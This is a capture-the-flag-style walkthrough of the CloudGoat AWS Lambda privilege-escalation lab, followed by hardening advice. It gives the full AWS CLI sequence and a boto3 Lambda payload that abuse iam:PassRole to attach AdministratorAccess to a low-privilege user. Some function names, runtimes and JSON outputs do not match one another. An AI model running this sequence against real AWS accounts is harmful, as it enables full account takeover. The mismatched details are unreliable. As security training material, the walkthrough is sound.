Skip to content

Lambda PrivEsc Walkthrough

AWS Lambda is a cloud service that allows you to run code without managing servers. You upload your function, and AWS runs it automatically when triggered, such as by an API request or an event. Lambda can be assigned IAM roles to access other AWS services like S3, DynamoDB, and SSM.

If Lambda is given more permissions than required, or if anyone can modify the function or the role it uses, it becomes a security risk. Even a small misconfiguration can lead to full compromise of an AWS account.

The attack path begins with the IAM user Chris, who discovers they are able to assume a role with full Lambda permissions and iam:PassRole rights. By abusing these capabilities, the attacker deploys and configures Lambda to execute with a high-privilege role, leading to privilege escalation and full administrative control of the AWS environment.

Scenario Route(s)

Terminal window
cloudgoat_output_chris_access_key_id = [REDACTED_ACCESS_KEY]
cloudgoat_output_chris_secret_key = [REDACTED_SECRET_KEY]
Terminal window
> $ aws configure --profile chris
AWS Access Key ID [None]: [REDACTED_ACCESS_KEY]
AWS Secret Access Key [None]: [REDACTED_SECRET_KEY]
Default region name [None]: us-east-1
Default output format [None]: json

Output

Terminal window
> $ aws sts get-caller-identity --profile chris
{
"UserId": "[REDACTED_ACCESS_KEY]",
"Account": "710506681373",
"Arn": "arn:aws:iam::710506681373:user/chris-[REDACTED_ID]"
}

List the users in the AWS account.

Terminal window
> $ aws iam list-users --profile chris
{
"Users": [
{
"Path": "/",
"UserName": "chris-[REDACTED_ID]",
"UserId": "[REDACTED_ACCESS_KEY]",
"Arn": "arn:aws:iam::710506681373:user/chris-[REDACTED_ID]",
"CreateDate": "2025-12-08T10:27:40+00:00"
}
]
}
  • No other users found the account

List Attached User Policies for chris user account.

Terminal window
> $ aws iam list-attached-user-policies --user-name chris-[REDACTED_ID] --profile chris
{
"AttachedPolicies": [
{
"PolicyName": "cg-chris-policy-[REDACTED_ID]",
"PolicyArn": "arn:aws:iam::710506681373:policy/cg-chris-policy-[REDACTED_ID]"
}
]
{
"Policy": {
"PolicyName": "cg-chris-policy-[REDACTED_ID]",
"PolicyId": "ANPA2K3L7SQO6UZUBIEMM",
"Arn": "arn:aws:iam::710506681373:policy/cg-chris-policy-[REDACTED_ID]",
"Path": "/",
"DefaultVersionId": "v1",
"AttachmentCount": 1,
"PermissionsBoundaryUsageCount": 0,
"IsAttachable": true,
"Description": "cg-chris-policy-[REDACTED_ID]",
"CreateDate": "2025-12-08T10:27:40+00:00",
"UpdateDate": "2025-12-08T10:27:40+00:00",
"Tags": [
{
"Key": "Name",
"Value": "cg-chris-policy-[REDACTED_ID]"
},
{
"Key": "Scenario",
"Value": "lambda-privesc"
}
]
}
}
  • Found policy named cg-chris-policy-[REDACTED_ID]

Fetching the attached policy cg-chris-policy-[REDACTED_ID]

Terminal window
> $ aws iam get-policy --policy-arn arn:aws:iam::710506681373:policy/cg-chris-policy-[REDACTED_ID] --output json --profile chris
{
"Policy": {
"PolicyName": "cg-chris-policy-[REDACTED_ID]",
"PolicyId": "ANPA2K3L7SQOTDIIQM5BX",
"Arn": "arn:aws:iam::710506681373:policy/cg-chris-policy-[REDACTED_ID]",
"Path": "/",
"DefaultVersionId": "v1",
"AttachmentCount": 1,
"PermissionsBoundaryUsageCount": 0,
"IsAttachable": true,
"Description": "cg-chris-policy-[REDACTED_ID]",
"CreateDate": "2025-06-19T06:54:40+00:00",
"UpdateDate": "2025-06-19T06:54:40+00:00",
"Tags": [
{
"Key": "Name",
"Value": "cg-chris-policy-[REDACTED_ID]"
},
{
"Key": "Scenario",
"Value": "lambda-privesc"
}
]
}
}
  • Found the policy version ID: v1. Use this to retrieve the policy permissions attached to it.

Retrieving the policy permissions of cg-chris-policy-[REDACTED_ID].

Terminal window
> $ aws iam get-policy-version --policy-arn arn:aws:iam::710506681373:policy/cg-chris-policy-[REDACTED_ID] --version-id v1 --profile chris
{
"PolicyVersion": {
"Document": {
"Statement": [
{
"Action": [
"sts:AssumeRole",
"iam:List*",
"iam:Get*"
],
"Effect": "Allow"
"Resource": "*",
"Sid": "chris"
}
],
"Version": "2012-10-17"
},
"VersionId": "v1",
"IsDefaultVersion": true,
"CreateDate": "2025-12-08T10:27:40+00:00"
}
}

List inline policies attached to the user chris

Terminal window
> $ aws iam list-roles --profile chris
{
"Roles": [
{
"Path": "/aws-service-role/cost-optimization-hub.bcm.amazonaws.com/",
"RoleName": "AWSServiceRoleForCostOptimizationHub",
"RoleId": "AROA2K3L7SQOWF27RGGR4",
"Arn": "arn:aws:iam::710506681373:role/aws-service-role/cost-optimization-hub.bcm.amazonaws.com/AWSServiceRoleForCostOptimizationHub",
"CreateDate": "2025-06-17T21:20:49+00:00",
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Service": "cost-optimization-hub.bcm.amazonaws.com"
},
"Action": "sts:AssumeRole"
}
]
},
"Description": "Allows Cost Optimization Hub to retrieve organization information and collect optimization-related data and metadata.",
"MaxSessionDuration": 3600
},
{
"Path": "/aws-service-role/support.amazonaws.com/",
"RoleName": "AWSServiceRoleForSupport",
"RoleId": "AROA2K3L7SQORR6IDBZRN",
"Arn": "arn:aws:iam::710506681373:role/aws-service-role/support.amazonaws.com/AWSServiceRoleForSupport",
"CreateDate": "2025-06-08T07:31:23+00:00",
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Service": "support.amazonaws.com"
},
"Action": "sts:AssumeRole"
}
]
},
"Description": "Enables resource access for AWS to provide billing, administrative and support services",
"MaxSessionDuration": 3600
},
{
"Path": "/aws-service-role/trustedadvisor.amazonaws.com/",
"RoleName": "AWSServiceRoleForTrustedAdvisor",
"RoleId": "AROA2K3L7SQOZQXNQZWWL",
"Arn": "arn:aws:iam::710506681373:role/aws-service-role/trustedadvisor.amazonaws.com/AWSServiceRoleForTrustedAdvisor",
"CreateDate": "2025-06-08T07:31:23+00:00",
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Service": "trustedadvisor.amazonaws.com"
},
"Action": "sts:AssumeRole"
}
]
},
"Description": "Access for the AWS Trusted Advisor Service to help reduce cost, increase performance, and improve security of your AWS environment.",
"MaxSessionDuration": 3600
},
{
"Path": "/",
"RoleName": "cg-debug-role-[REDACTED_ID]",
"RoleId": "AROA2K3L7SQOR6OW4Y2A6",
"Arn": "arn:aws:iam::710506681373:role/cg-debug-role-[REDACTED_ID]",
"CreateDate": "2025-06-19T06:54:40+00:00",
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Service": "lambda.amazonaws.com"
},
"Action": "sts:AssumeRole"
}
]
},
"Description": "CloudGoat debug role",
"MaxSessionDuration": 3600
},
{
"Path": "/",
"RoleName": "cg-lambdaManager-role-[REDACTED_ID]",
"RoleId": "AROA2K3L7SQOVLWJI5OSF",
"Arn": "arn:aws:iam::710506681373:role/cg-lambdaManager-role-[REDACTED_ID]",
"CreateDate": "2025-06-19T06:54:50+00:00",
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::710506681373:user/chris-[REDACTED_ID]"
},
"Action": "sts:AssumeRole"
}
]
},
"Description": "CloudGoat Lambda manager role",
"MaxSessionDuration": 3600
}
]
}
  • Found two interesting custom roles: cg-lambdaManager-role-[REDACTED_ID] and cg-debug-role-[REDACTED_ID], which can be assumed by the user Chris.
  • Chris can assume any role if the trust policy allows it. Even without explicit AssumeRole permission, since the account is within the same AWS account.

Retrieving the permissions assigned to cg-lambdaManager-role-[REDACTED_ID]

Terminal window
> $ aws iam get-policy-version --policy-arn arn:aws:iam::710506681373:policy/cg-lambdaManager-policy-[REDACTED_ID] --version-id v1 --profile chris
{
"PolicyVersion": {
"Document":
"Statement": [
{
"Action": [
"lambda:*",
"iam:PassRole"
],
"Effect": "Allow",
"Resource": "*",
"Sid": "lambdaManager"
}
],
"Version": "2012-10-17"
},
"VersionId": "v1",
"IsDefaultVersion": true,
"CreateDate": "2025-06-19T06:54:40+00:00"
}
}
  • The user Chris can pass roles to all Lambda functions.
  • iam:PassRole allows attaching a role to a service. This can be abused to attach an admin role to Chris and escalate permissions.

List the attached role policies

Terminal window
> $ aws iam list-attached-role-policies --role-name cg-debug-role-[REDACTED_ID] --profile chris
{
"AttachedPolicies": [
{
"PolicyName": "AdministratorAccess",
"PolicyArn": "arn:aws:iam::aws:policy/AdministratorAccess"
}
]
}
  • We found that the cg-debug role can be assumed by any Lambda function.
  • We also have the Lambda Manager role attached to Chris, which can be used to pass a role to a Lambda function and escalate privileges. Let’s try it.

As we have the permissions to assume the role of cg-lambdaManager-role-[REDACTED_ID], lets abuse and escalate the privileges.

Terminal window
> $ aws sts assume-role --role-arn arn:aws:iam::710506681373:role/cg-lambdaManager-role-[REDACTED_ID] --role-session-name lambda_manager --profile chris
{
"Credentials": {
"AccessKeyId": "[REDACTED_ACCESS_KEY]",
"SecretAccessKey": "[REDACTED_SECRET_KEY]",
"SessionToken": "[REDACTED_SESSION_TOKEN]",
"Expiration": "2025-06-19T08:43:17+00:00"
},
"AssumedRoleUser": {
"AssumedRoleId": "AROA2K3L7SQOVLWJI5OSF:lambda_manager",
"Arn": "arn:aws:sts::710506681373:assumed-role/cg-lambdaManager-role-[REDACTED_ID]/lambda_manager"
}
}
Terminal window
> $ aws configure --profile lambda_manager
AWS Access Key ID [None]: [REDACTED_ACCESS_KEY]
AWS Secret Access Key [None]: [REDACTED_SECRET_KEY]
AWS Session Token [None]: [REDACTED_SESSION_TOKEN]
Default region name [None]: us-east-1
Default output format [None]: json
  • Now that we’ve assumed the lambda_manager role, let’s use it to escalate privileges.

Let’s use the PassRole permission of the Lambda Manager to create a function and attach the admin role to it.

First, write a script that will attach the administrator policy to the IAM user Chris.

Create the Lambda function and zip it. The following will be your Lambda function:

import boto3
def lambda_handler(event, context):
iam = boto3.client('iam')
iam.attach_user_policy(
UserName='chris-[REDACTED_ID]',
PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
return "Policy attached!"
  • Name the file lambda_manager and zip it.

image.png

aws lambda create-function \
--function-name admin_function \
--runtime python3.13 \
--role arn:aws:iam::710506681373:role/cg-debug-role-[REDACTED_ID] \
--handler lambda_function.lambda_handler \
--zip-file fileb://function.zip \
--profile lambda_manager \
--region us-east-1
{
"FunctionName": "admin",
"FunctionArn": "arn:aws:lambda:us-east-1:710506681373:function:admin",
"Runtime": "python3.12",
"Role": "arn:aws:iam::710506681373:role/cg-debug-role-[REDACTED_ID]",
"Handler": "lambda_function.lambda_handler",
"CodeSize": 361,
"Description": "",
"Timeout": 3,
"MemorySize": 128,
"LastModified": "2025-12-08T12:01:34.361+0000",
"CodeSha256": "BxpTlOXP1n5qOChTmKLR+VcCOuCMWHT+MVkpQ284wgg=",
"Version": "$LATEST",
"TracingConfig": {
"Mode": "PassThrough"
},
"RevisionId": "613fb09b-44cb-4d2e-a678-1d60b0adb21e",
"State": "Pending",
"StateReason": "The function is being created.",
"StateReasonCode": "Creating",
"PackageType": "Zip",
"Architectures": [
"x86_64"
],
"EphemeralStorage": {
"Size": 512
},
"SnapStart": {
"ApplyOn": "None",
"OptimizationStatus": "Off"
},
"RuntimeVersionConfig": {
"RuntimeVersionArn": "arn:aws:lambda:us-east-1::runtime:42569371fb03ced3fe5b4d63763662bf9b13a5d4299cb453cc55a71374cbf30c"
},
"LoggingConfig": {
"LogFormat": "Text",
"LogGroup": "/aws/lambda/admin"
}
}
> $ aws --profile lambda_manager lambda invoke --function-name backdoor out.txt
{
"StatusCode": 200,
"ExecutedVersion": "$LATEST"
}

Output

Terminal window
> $ cat out.txt
null
Terminal window
> $ aws iam list-attached-user-policies --user-name chris-[REDACTED_ID] --profile chris
{
"AttachedPolicies":
{
"PolicyName": "AdministratorAccess",
"PolicyArn": "arn:aws:iam::aws:policy/AdministratorAccess"
}
{
"PolicyName": "cg-chris-policy-[REDACTED_ID]",
"PolicyArn": "arn:aws:iam::710506681373:policy/cg-chris-policy-[REDACTED_ID]"
}
]
}
  • Successfully escalated permissions and assumed admin privileges!

  • Restrict iam:PassRole : Don’t use Resource: * - allow only specific roles and add conditions for least privilege.
  • Harden role assumptions: Lock down trust policies so only approved Lambda functions/principals can assume sensitive roles (e.g., cg-debug-role).
  • Least privilege for Lambda management: Remove full lambda:*; grant only required actions.
  • Require MFA for privileged AssumeRole: Add aws:MultiFactorAuthPresent to roles with elevated permissions.
  • Monitor & alert: Set CloudTrail + EventBridge alerts for iam:PassRole, sts:AssumeRole, and sensitive Lambda updates.